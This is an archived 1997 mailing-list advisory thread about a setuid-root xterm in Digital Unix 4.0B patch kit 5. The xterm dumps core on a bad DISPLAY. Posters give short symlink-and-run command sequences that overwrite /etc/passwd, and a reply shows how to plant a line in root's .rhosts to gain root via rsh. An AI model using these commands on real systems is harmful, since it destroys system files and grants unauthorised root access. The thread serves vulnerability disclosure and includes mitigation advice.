Patch kit 5 includes a replacement xterm which can be forced to dump core and clobber system files. A buffer overflow may also exist.
Tom Leffingwell <email@example.com>
Digital Unix 4.0B *with* patch kit 5
12 November 1997
Date: Wed, 12 Nov 1997 14:51:40 -0500
From: Tom Leffingwell <firstname.lastname@example.org>
Subject: Digital Unix Security Problem
I tried reporting this to DEC, but because I didn't have a
software support agreement number handy, they wouldn't let me report
anything, then they placed me on hold for 30 minutes, then they
Tip to DEC: Allow people to report security problems without paying for
software support. Or at least allow someone other than the
designated contact to report security problems.
Version Affected: Digital UNIX 4.0B *with* patch kit 5
Unpatched 4.0B is not vunerable to this particular
problem, but it is to others.
Impact: Local users may overwrite system files, and possibly obtain root.
Patch kit 5 included a replacement xterm because the old one had a
bug, too. They replaced it with another that had a bigger problem. You
can cause a segmentation fault in xterm simply by setting your DISPLAY
variable to a display that you aren't allowed to connect to or one that
doesn't exist. Start xterm, and you get a core file.
Xterm is installed setuid root. I'm not 100% sure what happens,
since DEC doesn't release the source for patches. It does dump core at
Even with a buffer overflow, I've never seen anyone exploit on one
DU. If anyone has done so sucessfully, plese email me. Despite that, a
person with basic knowledge of unix could easily do something like:
ln -s /etc/passwd /tmp/core
setenv DISPLAY abcdefghi
The contents of /etc/passwd becomes xterm's core, preventing
further logins. Obviously you could do things without an immediate impact
such as ln -s /vmunix /tmp/core.
Needless to say, change permissions on xterm, have the users run
dxterm, its better anyway.
University of Miami
Systems Administrator Support Manager
Information Technology School of Business
Ungar 138 Jenkins 314M
Date: Thu, 13 Nov 1997 11:32:23 -0500
From: Andrew Brown
Subject: Re: Digital Unix Security Problem
> Even with a buffer overflow, I've never seen anyone exploit on one
>DU. If anyone has done so sucessfully, plese email me. Despite that, a
>person with basic knowledge of unix could easily do something like:
>ln -s /etc/passwd /tmp/core
>setenv DISPLAY abcdefghi
> The contents of /etc/passwd becomes xterm's core, preventing
>further logins. Obviously you could do things without an immediate impact
>such as ln -s /vmunix /tmp/core.
or...if the system you're on is actually running r-services, you could do
ln -s /.rhosts /tmp/core
which sets the DISPLAY variable to an "admit all from all" line and
the core dump will go into root's .rhosts file. then all that remains
is the rsh localhost and you're all set!
considerably easier than a buffer overflow exploit...
|-----< "CODE WARRIOR" >-----|
email@example.com (TheMan) * "ah! i see you have the internet
firstname.lastname@example.org that goes *ping*!"
email@example.com * "information is power -- share the wealth."
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces: